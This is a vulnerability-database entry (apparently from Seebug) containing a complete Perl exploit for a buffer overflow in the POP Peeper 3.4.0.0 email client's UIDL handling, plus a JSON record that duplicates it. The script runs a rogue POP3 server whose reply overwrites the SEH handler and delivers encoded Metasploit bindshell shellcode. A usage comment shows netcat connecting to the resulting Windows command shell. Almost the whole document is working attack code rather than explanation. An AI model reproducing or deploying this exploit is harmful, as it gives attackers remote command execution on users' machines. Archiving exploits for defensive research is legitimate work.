ID SSV:10745
Type seebug
Reporter Root
Modified 2009-02-28T00:00:00
Description
No description provided by source.
#!/usr/bin/perl
# KL0209EXP-poppeeper_uidl-bof.pl
# 02.27.2009
# Krakow Labs Development [www.krakowlabs.com]
# POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit
#
# SEH overwrite exploitation, uses Imap.dll (included with POP Peeper) for universal
# exploitation (gotta love no /SafeSEH). Special thanks goes to James Burton for help
# and collaboration for exploitation of this bug :P. Tested on Windows XP SP3.
#
# rush@KL (Jeremy Brown) [rush@krakowlabs.com]
# Jayji (James Burton) [jayjiftw@gmail.com]
#
# rush@linux:~$ sudo perl KL0209EXP-poppeeper_uidl-bof.pl
# rush@linux:~$ nc xx.xx.xx.xx 55555
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\POP Peeper>exit
# exit
# rush@linux:~$
#
# Associated Files & Information:
# http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt
# http://www.krakowlabs.com/dev/exp/KL0209EXP-poppeeper_uidl-bof.pl.txt
# http://www.krakowlabs.com/dev/exp/KL0209EXP-poppeeper_uidl-bof.jpg
#
# KL0209EXP-poppeeper_uidl-bof.pl
use IO::Socket;
$nextsehh = 0x909006EB; # JMP 6
$sehh = 0x10014E39; # Windows XP UNIVERSAL Imap.dll pop pop ret
# Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread)
$sc = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" .
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" .
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" .
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" .
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" .
"\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" .
"\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x47" .
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38" .
"\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38" .
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" .
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" .
"\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x42\x45\x57\x45\x4e\x4b\x48" .
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x54" .
"\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58" .
"\x49\x38\x4e\x56\x46\x52\x4e\x51\x41\x36\x43\x4c\x41\x43\x4b\x4d" .
"\x46\x36\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x44\x4e\x30\x4b\x58" .
"\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x55\x4a\x46" .
"\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" .
"\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x47\x43\x37" .
"\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" .
"\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e" .
"\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" .
"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" .
"\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x55\x43\x35\x43\x35\x43\x34" .
"\x43\x55\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x49\x4d" .
"\x43\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x49\x4a\x46\x46\x4a" .
"\x4c\x31\x42\x47\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41" .
"\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" .
"\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" .
"\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d" .
"\x42\x55\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" .
"\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x55" .
"\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x36" .
"\x4d\x36\x49\x48\x45\x4e\x4c\x36\x42\x55\x49\x45\x49\x32\x4e\x4c" .
"\x49\x48\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x43\x42\x4c" .
"\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x54\x4e\x32" .
"\x43\x39\x4d\x48\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" .
"\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" .
"\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x36" .
"\x41\x50\x41\x55\x41\x35\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" .
"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" .
"\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f" .
"\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" .
"\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x55\x4f\x4f\x48\x4d" .
"\x4f\x4f\x42\x4d\x5a";
$serv = IO::Socket::INET->new(Proto=>'tcp',
LocalPort=>'110',
Listen=>1,
Timeout=>60)
or die "Error: listen(110)\n";
$cli = $serv->accept() or die "Error: accept()\n";
$nextseh = pack('l', $nextsehh);
$seh = pack('l', $sehh);
$nop = "\x90";
$payload = "+OK\r\n1 " . "A" x 1072 . $nextseh . $seh . $nop x 32 . $sc . "\r\n.\r\n";
$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK\r\n");
$cli->recv($recvbuf, 512);
$cli->send("+OK 1 100\r\n");
$cli->recv($recvbuf, 512);
$cli->send($payload);
close($cli);
close($serv);
{"href": "https://www.seebug.org/vuldb/ssvid-10745", "status": "poc", "bulletinFamily": "exploit", "modified": "2009-02-28T00:00:00", "title": "POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-10745", "cvelist": [], "description": "No description provided by source.", "viewCount": 4, "published": "2009-02-28T00:00:00", "sourceData": "\n #!/usr/bin/perl\r\n# KL0209EXP-poppeeper_uidl-bof.pl\r\n# 02.27.2009\r\n# Krakow Labs Development [www.krakowlabs.com]\r\n# POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit\r\n#\r\n# SEH overwrite exploitation, uses Imap.dll (included with POP Peeper) for universal\r\n# exploitation (gotta love no /SafeSEH). Special thanks goes to James Burton for help\r\n# and collaboration for exploitation of this bug :P. Tested on Windows XP SP3.\r\n#\r\n# rush@KL (Jeremy Brown) [rush@krakowlabs.com]\r\n# Jayji (James Burton) [jayjiftw@gmail.com]\r\n#\r\n# rush@linux:~$ sudo perl KL0209EXP-poppeeper_uidl-bof.pl\r\n# rush@linux:~$ nc xx.xx.xx.xx 55555\r\n# Microsoft Windows XP [Version 5.1.2600]\r\n# (C) Copyright 1985-2001 Microsoft Corp.\r\n#\r\n# C:\\Program Files\\POP Peeper>exit\r\n# exit\r\n# rush@linux:~$ \r\n#\r\n# Associated Files & Information:\r\n# http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt\r\n# http://www.krakowlabs.com/dev/exp/KL0209EXP-poppeeper_uidl-bof.pl.txt\r\n# http://www.krakowlabs.com/dev/exp/KL0209EXP-poppeeper_uidl-bof.jpg\r\n#\r\n# KL0209EXP-poppeeper_uidl-bof.pl\r\n\r\nuse IO::Socket;\r\n\r\n$nextsehh = 0x909006EB; # JMP 6\r\n$sehh = 0x10014E39; # Windows XP UNIVERSAL Imap.dll pop pop ret\r\n\r\n# Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread)\r\n$sc = "\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49" .\r\n "\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36" .\r\n "\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34" .\r\n "\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41" .\r\n "\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4c\\x46\\x4b\\x4e" .\r\n "\\x4d\\x44\\x4a\\x4e\\x49\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x4f\\x42\\x36\\x4b\\x38" .\r\n "\\x4e\\x46\\x46\\x32\\x46\\x42\\x4b\\x48\\x45\\x34\\x4e\\x53\\x4b\\x58\\x4e\\x47" .\r\n "\\x45\\x30\\x4a\\x37\\x41\\x30\\x4f\\x4e\\x4b\\x38\\x4f\\x44\\x4a\\x31\\x4b\\x38" .\r\n "\\x4f\\x35\\x42\\x42\\x41\\x50\\x4b\\x4e\\x49\\x54\\x4b\\x48\\x46\\x33\\x4b\\x38" .\r\n "\\x41\\x50\\x50\\x4e\\x41\\x43\\x42\\x4c\\x49\\x39\\x4e\\x4a\\x46\\x58\\x42\\x4c" .\r\n "\\x46\\x57\\x47\\x50\\x41\\x4c\\x4c\\x4c\\x4d\\x50\\x41\\x30\\x44\\x4c\\x4b\\x4e" .\r\n "\\x46\\x4f\\x4b\\x53\\x46\\x35\\x46\\x32\\x4a\\x42\\x45\\x57\\x45\\x4e\\x4b\\x48" .\r\n "\\x4f\\x35\\x46\\x42\\x41\\x50\\x4b\\x4e\\x48\\x36\\x4b\\x48\\x4e\\x30\\x4b\\x54" .\r\n "\\x4b\\x58\\x4f\\x35\\x4e\\x51\\x41\\x50\\x4b\\x4e\\x43\\x50\\x4e\\x52\\x4b\\x58" .\r\n "\\x49\\x38\\x4e\\x56\\x46\\x52\\x4e\\x51\\x41\\x36\\x43\\x4c\\x41\\x43\\x4b\\x4d" .\r\n "\\x46\\x36\\x4b\\x58\\x43\\x54\\x42\\x53\\x4b\\x48\\x42\\x44\\x4e\\x30\\x4b\\x58" .\r\n "\\x42\\x57\\x4e\\x31\\x4d\\x4a\\x4b\\x38\\x42\\x54\\x4a\\x50\\x50\\x55\\x4a\\x46" .\r\n "\\x50\\x58\\x50\\x44\\x50\\x50\\x4e\\x4e\\x42\\x55\\x4f\\x4f\\x48\\x4d\\x48\\x56" .\r\n "\\x43\\x35\\x48\\x36\\x4a\\x46\\x43\\x43\\x44\\x53\\x4a\\x46\\x47\\x47\\x43\\x37" .\r\n "\\x44\\x43\\x4f\\x55\\x46\\x55\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x4b\\x4c\\x4d\\x4e" .\r\n "\\x4e\\x4f\\x4b\\x53\\x42\\x55\\x4f\\x4f\\x48\\x4d\\x4f\\x35\\x49\\x58\\x45\\x4e" .\r\n "\\x48\\x36\\x41\\x58\\x4d\\x4e\\x4a\\x50\\x44\\x30\\x45\\x45\\x4c\\x46\\x44\\x30" .\r\n "\\x4f\\x4f\\x42\\x4d\\x4a\\x56\\x49\\x4d\\x49\\x30\\x45\\x4f\\x4d\\x4a\\x47\\x55" .\r\n "\\x4f\\x4f\\x48\\x4d\\x43\\x55\\x43\\x45\\x43\\x55\\x43\\x35\\x43\\x35\\x43\\x34" .\r\n "\\x43\\x55\\x43\\x44\\x43\\x45\\x4f\\x4f\\x42\\x4d\\x48\\x46\\x4a\\x46\\x49\\x4d" .\r\n "\\x43\\x30\\x48\\x36\\x43\\x55\\x49\\x38\\x41\\x4e\\x45\\x49\\x4a\\x46\\x46\\x4a" .\r\n "\\x4c\\x31\\x42\\x47\\x47\\x4c\\x47\\x55\\x4f\\x4f\\x48\\x4d\\x4c\\x36\\x42\\x41" .\r\n "\\x41\\x35\\x45\\x45\\x4f\\x4f\\x42\\x4d\\x4a\\x36\\x46\\x4a\\x4d\\x4a\\x50\\x42" .\r\n "\\x49\\x4e\\x47\\x45\\x4f\\x4f\\x48\\x4d\\x43\\x55\\x45\\x45\\x4f\\x4f\\x42\\x4d" .\r\n "\\x4a\\x36\\x45\\x4e\\x49\\x54\\x48\\x48\\x49\\x54\\x47\\x35\\x4f\\x4f\\x48\\x4d" .\r\n "\\x42\\x55\\x46\\x45\\x46\\x55\\x45\\x45\\x4f\\x4f\\x42\\x4d\\x43\\x59\\x4a\\x46" .\r\n "\\x47\\x4e\\x49\\x57\\x48\\x4c\\x49\\x37\\x47\\x55\\x4f\\x4f\\x48\\x4d\\x45\\x55" .\r\n "\\x4f\\x4f\\x42\\x4d\\x48\\x36\\x4c\\x46\\x46\\x46\\x48\\x56\\x4a\\x46\\x43\\x36" .\r\n "\\x4d\\x36\\x49\\x48\\x45\\x4e\\x4c\\x36\\x42\\x55\\x49\\x45\\x49\\x32\\x4e\\x4c" .\r\n "\\x49\\x48\\x47\\x4e\\x4c\\x36\\x46\\x54\\x49\\x38\\x44\\x4e\\x41\\x43\\x42\\x4c" .\r\n "\\x43\\x4f\\x4c\\x4a\\x50\\x4f\\x44\\x34\\x4d\\x32\\x50\\x4f\\x44\\x54\\x4e\\x32" .\r\n "\\x43\\x39\\x4d\\x48\\x4c\\x37\\x4a\\x43\\x4b\\x4a\\x4b\\x4a\\x4b\\x4a\\x4a\\x36" .\r\n "\\x44\\x47\\x50\\x4f\\x43\\x4b\\x48\\x51\\x4f\\x4f\\x45\\x57\\x46\\x34\\x4f\\x4f" .\r\n "\\x48\\x4d\\x4b\\x45\\x47\\x45\\x44\\x55\\x41\\x35\\x41\\x55\\x41\\x35\\x4c\\x36" .\r\n "\\x41\\x50\\x41\\x55\\x41\\x35\\x45\\x45\\x41\\x45\\x4f\\x4f\\x42\\x4d\\x4a\\x56" .\r\n "\\x4d\\x4a\\x49\\x4d\\x45\\x30\\x50\\x4c\\x43\\x55\\x4f\\x4f\\x48\\x4d\\x4c\\x36" .\r\n "\\x4f\\x4f\\x4f\\x4f\\x47\\x43\\x4f\\x4f\\x42\\x4d\\x4b\\x48\\x47\\x35\\x4e\\x4f" .\r\n "\\x43\\x58\\x46\\x4c\\x46\\x36\\x4f\\x4f\\x48\\x4d\\x44\\x45\\x4f\\x4f\\x42\\x4d" .\r\n "\\x4a\\x36\\x4f\\x4e\\x50\\x4c\\x42\\x4e\\x42\\x56\\x43\\x55\\x4f\\x4f\\x48\\x4d" .\r\n "\\x4f\\x4f\\x42\\x4d\\x5a";\r\n\r\n$serv = IO::Socket::INET->new(Proto=>'tcp',\r\n\t\t\t LocalPort=>'110',\r\n\t\t\t Listen=>1,\r\n\t\t\t Timeout=>60)\r\nor die "Error: listen(110)\\n";\r\n\r\n$cli = $serv->accept() or die "Error: accept()\\n";\r\n\r\n$nextseh = pack('l', $nextsehh);\r\n$seh = pack('l', $sehh);\r\n$nop = "\\x90";\r\n\r\n$payload = "+OK\\r\\n1 " . "A" x 1072 . $nextseh . $seh . $nop x 32 . $sc . "\\r\\n.\\r\\n";\r\n\r\n $cli->send("+OK\\r\\n");\r\n $cli->recv($recvbuf, 512);\r\n $cli->send("+OK\\r\\n");\r\n $cli->recv($recvbuf, 512);\r\n $cli->send("+OK\\r\\n");\r\n $cli->recv($recvbuf, 512);\r\n $cli->send("+OK 1 100\\r\\n");\r\n $cli->recv($recvbuf, 512);\r\n $cli->send($payload);\r\n\r\n close($cli);\r\n close($serv);\r\n\n ", "id": "SSV:10745", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T18:57:36", "reporter": "Root", "enchantments": {"score": {"value": 0.3, "vector": "NONE", "modified": "2017-11-19T18:57:36", "rev": 2}, "dependencies": {"references": [], "modified": "2017-11-19T18:57:36", "rev": 2}, "vulnersScore": 0.3}, "references": []}
{}